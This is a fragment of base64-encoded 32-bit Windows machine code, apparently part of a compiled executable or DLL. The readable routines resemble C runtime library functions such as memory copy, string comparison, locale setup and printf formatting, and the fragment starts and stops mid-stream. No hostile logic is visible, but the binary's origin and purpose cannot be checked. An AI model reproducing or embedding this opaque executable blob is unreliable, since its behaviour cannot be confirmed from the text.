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Njaj7//+JhdD7//+JneT7//+Jvbj7//+Jvfj7//+JvdT7//+JvfT7//+Jvdz7//+JvcT7//+Jvdj7///oldr//zm90Pv//3Uz6Ojm//9XV1dXxwAWAAAAV+hw5v//g8QUgL20+///AHQKi4Ww+///g2Bw/YPI/+nECgAAO/d0yQ+3FjPJib3g+///ib3s+///ib28+///iZXo+///ZjvXD4SBCgAAagJfA/eDveD7//8AibXA+///D4xpCgAAjULgZoP4WHcPD7fCD76AQBQBEIPgD+sCM8APvoTBYBQBEGoHwfgEWYmFpPv//zvBD4f1CQAA/ySF8G8AEDPAg430+////4mFoPv//4mFxPv//4mF1Pv//4mF3Pv//4mF+Pv//4mF2Pv//+m8CQAAD7fCg+ggdEqD6AN0NoPoCHQlK8d0FYPoAw+FnQkAAION+Pv//wjpkQkAAION+Pv//wTphQkAAION+Pv//wHpeQkAAIGN+Pv//4AAAADpagkAAAm9+Pv//+lfCQAAZoP6KnUsg8MEiZ3k+///i1v8iZ3U+///hdsPjT8JAACDjfj7//8E953U+///6S0JAACLhdT7//9rwAoPt8qNRAjQiYXU+///6RIJAACDpfT7//8A6QYJAABmg/oqdSaDwwSJneT7//+LW/yJnfT7//+F2w+N5ggAAION9Pv////p2ggAAIuF9Pv//2vACg+3yo1ECNCJhfT7///pvwgAAA+3woP4SXRXg/hodEaD+Gx0GIP4dw+FpAgAAIGN+Pv//wAIAADplQgAAGaDPmx1FwP3gY34+///ABAAAIm1wPv//+l4CAAAg434+///EOlsCAAAg434+///IOlgCAAAD7cGZoP4NnUfZoN+AjR1GIPGBIGN+Pv//wCAAACJtcD7///pOAgAAGaD+DN1H2aDfgIydRiDxgSBpfj7////f///ibXA+///6RMIAABmg/hkD4QJCAAAZoP4aQ+E/wcAAGaD+G8PhPUHAABmg/h1D4TrBwAAZoP4eA+E4QcAAGaD+FgPhNcHAACDpaT7//8Ai4XQ+///Uo214Pv//8eF2Pv//wEAAADo+/v//+muBwAAD7fCg/hkD48vAgAAD4TAAgAAg/hTD48bAQAAdH6D6EF0ECvHdFkrx3QIK8cPhe8FAACDwiDHhaD7//8BAAAAiZXo+///g434+///QIO99Pv//wCNtfz7//+4AAIAAIm18Pv//4mF7Pv//w+NkAIAAMeF9Pv//wYAAADp7AIAAPeF+Pv//zAIAAAPhcgAAACDjfj7//8g6bwAAAD3hfj7//8wCAAAdQeDjfj7//8gi730+///g///dQW/////f4PDBPaF+Pv//yCJneT7//+LW/yJnfD7//8PhAgFAACF23ULoSBdARCJhfD7//+Dpez7//8Ai7Xw+///hf8PjiAFAACKBoTAD4QWBQAAjY2o+///D7bAUVDoCNf//1lZhcB0AUZG/4Xs+///Ob3s+///fNDp6wQAAIPoWA+E9wIAACvHD4SUAAAAK8EPhPb+//8rxw+FygQAAA+3A4PDBDP2RvaF+Pv//yCJtdj7//+JneT7//+JhZz7//90QoiFzPv//42FqPv//1CLhaj7///Ghc37//8A/7CsAAAAjYXM+///UI2F/Pv//1DoR1AAAIPEEIXAfQ+JtcT7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///pRgQAAIsDg8MEiZ3k+///hcB0OotIBIXJdDP3hfj7//8ACAAAD78AiY3w+///dBKZK8LHhdj7//8BAAAA6QEEAACDpdj7//8A6fcDAAChIF0BEImF8Pv//1DokzEAAFnp4AMAAIP4cA+P+gEAAA+E4gEAAIP4ZQ+MzgMAAIP4Zw+O6f3//4P4aXRxg/hudCiD+G8PhbIDAAD2hfj7//+Ax4Xo+///CAAAAHRhgY34+///AAIAAOtVizODwwSJneT7///oQU8AAIXAD4QwBQAA9oX4+///IHQMZouF4Pv//2aJBusIi4Xg+///iQbHhcT7//8BAAAA6cEEAACDjfj7//9Ax4Xo+///CgAAAPeF+Pv//wCAAAAPhKsBAACLA4tTBIPDCOnnAQAAdRJmg/pndWPHhfT7//8BAAAA61c5hfT7//9+BomF9Pv//4G99Pv//6MAAAB+PYu99Pv//4HHXQEAAFfomBAAAIuV6Pv//1mJhbz7//+FwHQQiYXw+///ib3s+///i/DrCseF9Pv//6MAAACLA4PDCImFlPv//4tD/ImFmPv//42FqPv//1D/taD7//8PvsL/tfT7//+JneT7//9Q/7Xs+///jYWU+///VlD/NUBdARDoTfD//1n/0Iud+Pv//4PEHIHjgAAAAHQhg730+///AHUYjYWo+///UFb/NUxdARDoHfD//1n/0FlZZoO96Pv//2d1HIXbdRiNhaj7//9QVv81SF0BEOj37///Wf/QWVmAPi11EYGN+Pv//wABAABGibXw+///VukE/v//x4X0+///CAAAAImNuPv//+skg+hzD4Rn/P//K8cPhIr+//+D6AMPhckBAADHhbj7//8nAAAA9oX4+///gMeF6Pv//xAAAAAPhGr+//9qMFhmiYXI+///i4W4+///g8BRZomFyvv//4m93Pv//+lF/v//94X4+///ABAAAA+FRf7//4PDBPaF+Pv//yB0HPaF+Pv//0CJneT7//90Bg+/Q/zrBA+3Q/yZ6xf2hfj7//9Ai0P8dAOZ6wIz0omd5Pv///aF+Pv//0B0G4XSfxd8BIXAcxH32IPSAPfagY34+///AAEAAPeF+Pv//wCQAACL2ov4dQIz24O99Pv//wB9DMeF9Pv//wEAAADrGoOl+Pv///e4AAIAADmF9Pv//34GiYX0+///i8cLw3UGIYXc+///jbX7/f//i4X0+////430+///hcB/BovHC8N0LYuF6Pv//5lSUFNX6J5NAACDwTCD+TmJnZD7//+L+IvafgYDjbj7//+IDk7rvY2F+/3//yvGRveF+Pv//wACAACJhez7//+JtfD7//90WYXAdAeLzoA5MHRO/43w+///i43w+///xgEwQOs2hdt1C6EkXQEQiYXw+///i4Xw+///x4XY+///AQAAAOsJT2aDOAB0BkBAhf918yuF8Pv//9H4iYXs+///g73E+///AA+FZQEAAIuF+Pv//6hAdCupAAEAAHQEai3rDqgBdARqK+sGqAJ0FGogWGaJhcj7///Hhdz7//8BAAAAi53U+///i7Xs+///K94rndz7///2hfj7//8MdRf/tdD7//+NheD7//9TaiDokfX//4PEDP+13Pv//4u90Pv//42F4Pv//42NyPv//+iY9f//9oX4+///CFl0G/aF+Pv//wR1EldTajCNheD7///oT/X//4PEDIO92Pv//wB1dYX2fnGLvfD7//+Jtej7////jej7//+Nhaj7//9Qi4Wo+////7CsAAAAjYWc+///V1Do3UoAAIPEEImFkPv//4XAfin/tZz7//+LhdD7//+NteD7///ouvT//wO9kPv//4O96Pv//wBZf6brHION4Pv////rE4uN8Pv//1aNheD7///o4/T//1mDveD7//8AfCD2hfj7//8EdBf/tdD7//+NheD7//9TaiDolfT//4PEDIO9vPv//wB0E/+1vPv//+hB1v//g6W8+///AFmLtcD7//8PtwaJhej7//9mhcB0KouNpPv//4ud5Pv//4vQ6Zb1///oIdz//8cAFgAAADPAUFBQUFDpMvX//4C9tPv//wB0CouFsPv//4NgcP2LheD7//+LTfxfXjPNW+hpzf//ycONSQC3ZwAQmWUAEMtlABAoZgAQdWYAEIFmABDIZgAQ2GcAEIv/VYvsgex0BAAAoRxQARAzxYlF/FOLXRRWi3UIM8BX/3UQi30MjY20+///ibXE+///iZ3o+///iYWs+///iYX4+///iYXU+///iYX0+///iYXc+///iYWw+///iYXY+///6P3O//+F9nU16FTb///HABYAAAAzwFBQUFBQ6Nra//+DxBSAvcD7//8AdAqLhbz7//+DYHD9g8j/6c8KAAAz9jv+dRLoGdv//1ZWVlbHABYAAABW68UPtw+JteD7//+Jtez7//+Jtcz7//+Jtaj7//+JjeT7//9mO84PhHQKAABqAloD+jm14Pv//4m9oPv//w+MSAoAAI1B4GaD+Fh3Dw+3wQ+2gKAUARCD4A/rAjPAi7XM+///a8AJD7aEMMAUARBqCMHoBF6Jhcz7//87xg+EM////4P4Bw+H3QkAAP8khZB7ABAzwION9Pv///+JhaT7//+JhbD7//+JhdT7//+Jhdz7//+Jhfj7//+Jhdj7///psAkAAA+3wYPoIHRIg+gDdDQrxnQkK8J0FIPoAw+FhgkAAAm1+Pv//+mHCQAAg434+///BOl7CQAAg434+///AelvCQAAgY34+///gAAAAOlgCQAACZX4+///6VUJAABmg/kqdSuLA4PDBImd6Pv//4mF1Pv//4XAD402CQAAg434+///BPed1Pv//+kkCQAAi4XU+///a8AKD7fJjUQI0ImF1Pv//+kJCQAAg6X0+///AOn9CAAAZoP5KnUliwODwwSJnej7//+JhfT7//+FwA+N3ggAAION9Pv////p0ggAAIuF9Pv//2vACg+3yY1ECNCJhfT7///ptwgAAA+3wYP4SXRRg/hodECD+Gx0GIP4dw+FnAgAAIGN+Pv//wAIAADpjQgAAGaDP2x1EQP6gY34+///ABAAAOl2CAAAg434+///EOlqCAAAg434+///IOleCAAAD7cHZoP4NnUZZoN/AjR1EoPHBIGN+Pv//wCAAADpPAgAAGaD+DN1GWaDfwIydRKDxwSBpfj7////f///6R0IAABmg/hkD4QTCAAAZoP4aQ+ECQgAAGaD+G8PhP8HAABmg/h1D4T1BwAAZoP4eA+E6wcAAGaD+FgPhOEHAACDpcz7//8Ai4XE+///UY214Pv//8eF2Pv//wEAAADoUvD//1npuAcAAA+3wYP4ZA+PMAIAAA+EvQIAAIP4Uw+PGwEAAHR+g+hBdBArwnRZK8J0CCvCD4XsBQAAg8Egx4Wk+///AQAAAImN5Pv//4ON+Pv//0CDvfT7//8AjbX8+///uAACAACJtfD7//+Jhez7//8PjY0CAADHhfT7//8GAAAA6ekCAAD3hfj7//8wCAAAD4XJAAAAg434+///IOm9AAAA94X4+///MAgAAHUHg434+///IIu99Pv//4P//3UFv////3+DwwT2hfj7//8giZ3o+///i1v8iZ3w+///D4QFBQAAhdt1C6EgXQEQiYXw+///g6Xs+///AIu18Pv//4X/D44dBQAAigaEwA+EEwUAAI2NtPv//w+2wFFQ6F7L//9ZWYXAdAFGRv+F7Pv//zm97Pv//3zQ6egEAACD6FgPhPACAAArwg+ElQAAAIPoBw+E9f7//yvCD4XGBAAAD7cDg8MEM/ZG9oX4+///IIm12Pv//4md6Pv//4mFnPv//3RCiIXI+///jYW0+///UIuFtPv//8aFyfv//wD/sKwAAACNhcj7//9QjYX8+///UOicRAAAg8QQhcB9D4m1sPv//+sHZomF/Pv//42F/Pv//4mF8Pv//4m17Pv//+lCBAAAiwODwwSJnej7//+FwHQ6i0gEhcl0M/eF+Pv//wAIAAAPvwCJjfD7//90EpkrwseF2Pv//wEAAADp/QMAAIOl2Pv//wDp8wMAAKEgXQEQiYXw+///UOjoJQAAWencAwAAg/hwD4/2AQAAD4TeAQAAg/hlD4zKAwAAg/hnD47o/f//g/hpdG2D+G50JIP4bw+FrgMAAPaF+Pv//4CJteT7//90YYGN+Pv//wACAADrVYszg8MEiZ3o+///6JpDAACFwA+EVvr///aF+Pv//yB0DGaLheD7//9miQbrCIuF4Pv//4kGx4Ww+///AQAAAOnBBAAAg434+///QMeF5Pv//woAAAD3hfj7//8AgAAAD4SrAQAAA96LQ/iLU/zp5wEAAHUSZoP5Z3Vjx4X0+///AQAAAOtXOYX0+///fgaJhfT7//+BvfT7//+jAAAAfj2LvfT7//+Bx10BAABX6PEEAABZi43k+///iYWo+///hcB0EImF8Pv//4m97Pv//4vw6wrHhfT7//+jAAAAiwODwwiJhZT7//+LQ/yJhZj7//+NhbT7//9Q/7Wk+///D77B/7X0+///iZ3o+///UP+17Pv//42FlPv//1ZQ/zVAXQEQ6Kbk//9Z/9CLnfj7//+DxByB44AAAAB0IYO99Pv//wB1GI2FtPv//1BW/zVMXQEQ6Hbk//9Z/9BZWWaDveT7//9ndRyF23UYjYW0+///UFb/NUhdARDoUOT//1n/0FlZgD4tdRGBjfj7//8AAQAARom18Pv//1bpCP7//4m19Pv//8eFrPv//wcAAADrJIPocw+Eavz//yvCD4SK/v//g+gDD4XJAQAAx4Ws+///JwAAAPaF+Pv//4DHheT7//8QAAAAD4Rq/v//ajBYZomF0Pv//4uFrPv//4PAUWaJhdL7//+Jldz7///pRf7///eF+Pv//wAQAAAPhUX+//+DwwT2hfj7//8gdBz2hfj7//9AiZ3o+///dAYPv0P86wQPt0P8mesX9oX4+///QItD/HQDmesCM9KJnej7///2hfj7//9AdBuF0n8XfASFwHMR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi9qL+HUCM9uDvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vHC8N1BiGF3Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLxwvDdC2LheT7//+ZUlBTV+j3QQAAg8Ewg/k5iZ2Q+///i/iL2n4GA42s+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dFmFwHQHi86AOTB0Tv+N8Pv//4uN8Pv//8YBMEDrNoXbdQuhJF0BEImF8Pv//4uF8Pv//8eF2Pv//wEAAADrCU9mgzgAdAYDwoX/dfMrhfD7///R+ImF7Pv//4O9sPv//wAPhWUBAACLhfj7//+oQHQrqQABAAB0BGot6w6oAXQEaivrBqgCdBRqIFhmiYXQ+///x4Xc+///AQAAAIud1Pv//4u17Pv//yveK53c+///9oX4+///DHUX/7XE+///jYXg+///U2og6Orp//+DxAz/tdz7//+LvcT7//+NheD7//+NjdD7///o8en///aF+Pv//whZdBv2hfj7//8EdRJXU2owjYXg+///6Kjp//+DxAyDvdj7//8AdXWF9n5xi73w+///ibXk+////43k+///jYW0+///UIuFtPv///+wrAAAAI2FnPv//1dQ6DY/AACDxBCJhZD7//+FwH4p/7Wc+///i4XE+///jbXg+///6BPp//8DvZD7//+DveT7//8AWX+m6xyDjeD7////6xOLjfD7//9WjYXg+///6Dzp//9Zg73g+///AHwg9oX4+///BHQX/7XE+///jYXg+///U2og6O7o//+DxAyDvaj7//8AdBP/taj7///omsr//4OlqPv//wBZi72g+///i53o+///D7cHM/aJheT7//9mO8Z0B4vI6aH1//85tcz7//90DYO9zPv//wcPhVD1//+AvcD7//8AdAqLhbz7//+DYHD9i4Xg+///i038X14zzVvoyMH//8nDi/9gcwAQWHEAEIpxABDlcQAQMXIAED1yABCDcgAQgnMAEIv/VYvsVlcz9v91COi5IAAAi/hZhf91JzkFaGMBEHYfVv8VsAABEI2G6AMAADsFaGMBEHYDg8